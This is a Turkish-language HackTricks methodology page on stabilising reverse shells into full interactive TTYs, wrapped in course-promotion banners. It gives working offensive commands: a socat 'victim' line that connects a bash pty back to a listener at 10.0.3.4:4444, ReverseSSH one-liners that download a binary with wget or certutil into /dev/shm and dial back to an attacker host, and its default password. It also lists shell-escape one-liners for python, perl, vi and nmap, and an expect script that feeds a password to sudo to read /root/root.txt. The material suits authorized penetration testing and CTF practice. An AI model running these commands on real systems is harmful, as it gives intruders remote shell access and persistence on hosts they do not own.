hacktricks/generic-methodologies-and-resources/shells/full-ttys.md
2024-02-10 18:14:16 +00:00

6.9 KiB
Raw Blame History

Tam TTY'ler

htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile sıfırdan kahraman olmak için AWS hackleme öğrenin!

HackTricks'i desteklemenin diğer yolları:

Tam TTY

SHELL değişkeninde ayarladığınız kabuk mutlaka /etc/shells içinde listelenmiş olmalıdır veya The value for the SHELL variable was not found in the /etc/shells file This incident has been reported hatası alırsınız. Ayrıca, aşağıdaki kod parçalarının sadece bash'te çalıştığını unutmayın. Eğer zsh kullanıyorsanız, kabuğu elde etmeden önce bash komutunu çalıştırarak bash'e geçin.

Python

{% code overflow="wrap" %}

python3 -c 'import pty; pty.spawn("/bin/bash")'

(inside the nc session) CTRL+Z;stty raw -echo; fg; ls; export SHELL=/bin/bash; export TERM=screen; stty rows 38 columns 116; reset;

{% endcode %}

{% hint style="info" %} stty -a komutunu çalıştırarak satır ve sütun sayısını alabilirsiniz. {% endhint %}

betik

{% code overflow="wrap" %}

script /dev/null -qc /bin/bash #/dev/null is to not store anything
(inside the nc session) CTRL+Z;stty raw -echo; fg; ls; export SHELL=/bin/bash; export TERM=screen; stty rows 38 columns 116; reset;

{% endcode %}

socat

Socat, birçok farklı ağ protokolünü destekleyen bir veri iletişim programıdır. Bu program, TCP/IP, UDP, SSL, IPv6 ve daha birçok protokolü destekler. Socat, birçok farklı kullanım senaryosunda kullanılabilir ve birçok farklı işlevi yerine getirebilir. Bu nedenle, bir hedef sistemde tam bir TTY kabuğu oluşturmak için kullanılabilir.

Socat kullanarak tam bir TTY kabuğu oluşturmak için aşağıdaki komutu kullanabilirsiniz:

socat file:`tty`,raw,echo=0 tcp-listen:<port>

Bu komut, belirtilen bağlantı noktasını dinleyen bir TCP soketi oluşturur ve gelen bağlantıları yerel bir TTY'ye yönlendirir. Bu sayede, hedef sistemde tam bir TTY kabuğu elde edebilirsiniz.

Socat'ı kullanarak tam bir TTY kabuğu oluşturmak, hedef sistemdeki birçok işlemi gerçekleştirmenizi sağlar. Bu sayede, hedef sistemdeki dosyaları okuyabilir, yazabilir ve değiştirebilir, komutlar çalıştırabilir ve hedef sistemdeki diğer ağ servislerine erişebilirsiniz.

#Listener:
socat file:`tty`,raw,echo=0 tcp-listen:4444

#Victim:
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444

Kabuk Oluşturma

  • python -c 'import pty; pty.spawn("/bin/sh")'
  • echo os.system('/bin/bash')
  • /bin/sh -i
  • script -qc /bin/bash /dev/null
  • perl -e 'exec "/bin/sh";'
  • perl: exec "/bin/sh";
  • ruby: exec "/bin/sh"
  • lua: os.execute('/bin/sh')
  • IRB: exec "/bin/sh"
  • vi: :!bash
  • vi: :set shell=/bin/bash:shell
  • nmap: !sh

ReverseSSH

Hedefe etkileşimli kabuk erişimi, dosya transferleri ve port yönlendirmesi için uygun bir yol, ReverseSSH adlı statik olarak bağlanmış ssh sunucusunu hedefe bırakmaktır.

Aşağıda, upx sıkıştırılmış ikili dosyalarla birlikte x86 için bir örnek bulunmaktadır. Diğer ikili dosyalar için sürümler sayfasına bakın.

  1. Yerel olarak ssh port yönlendirme isteğini yakalamak için hazırlık yapın:

{% code overflow="wrap" %}

# Drop it via your preferred way, e.g.
wget -q https://github.com/Fahrj/reverse-ssh/releases/latest/download/upx_reverse-sshx86 -O /dev/shm/reverse-ssh && chmod +x /dev/shm/reverse-ssh

/dev/shm/reverse-ssh -v -l -p 4444

{% endcode %}

  • (2a) Linux hedefi:

{% code overflow="wrap" %}

# Drop it via your preferred way, e.g.
wget -q https://github.com/Fahrj/reverse-ssh/releases/latest/download/upx_reverse-sshx86 -O /dev/shm/reverse-ssh && chmod +x /dev/shm/reverse-ssh

/dev/shm/reverse-ssh -p 4444 kali@10.0.0.2

{% endcode %}

  • (2b) Windows 10 hedefi (daha önceki sürümler için, proje readme'ye bakın):

{% code overflow="wrap" %}

# Drop it via your preferred way, e.g.
certutil.exe -f -urlcache https://github.com/Fahrj/reverse-ssh/releases/latest/download/upx_reverse-sshx86.exe reverse-ssh.exe

reverse-ssh.exe -p 4444 kali@10.0.0.2

{% endcode %}

  • Eğer ReverseSSH port yönlendirme isteği başarılı olduysa, şimdi reverse-ssh(.exe) çalıştıran kullanıcının bağlamında varsayılan şifre olan letmeinbrudipls ile giriş yapabilirsiniz:
# Interactive shell access
ssh -p 8888 127.0.0.1

# Bidirectional file transfer
sftp -P 8888 127.0.0.1

TTY Yok

Bazı nedenlerle tam bir TTY elde edemiyorsanız, kullanıcı girişi bekleyen programlarla hala etkileşimde bulunabilirsiniz. Aşağıdaki örnekte, şifre bir dosyayı okumak için sudo'ya iletilir:

expect -c 'spawn sudo -S cat "/root/root.txt";expect "*password*";send "<THE_PASSWORD_OF_THE_USER>";send "\r\n";interact'
AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile!

HackTricks'ı desteklemenin diğer yolları: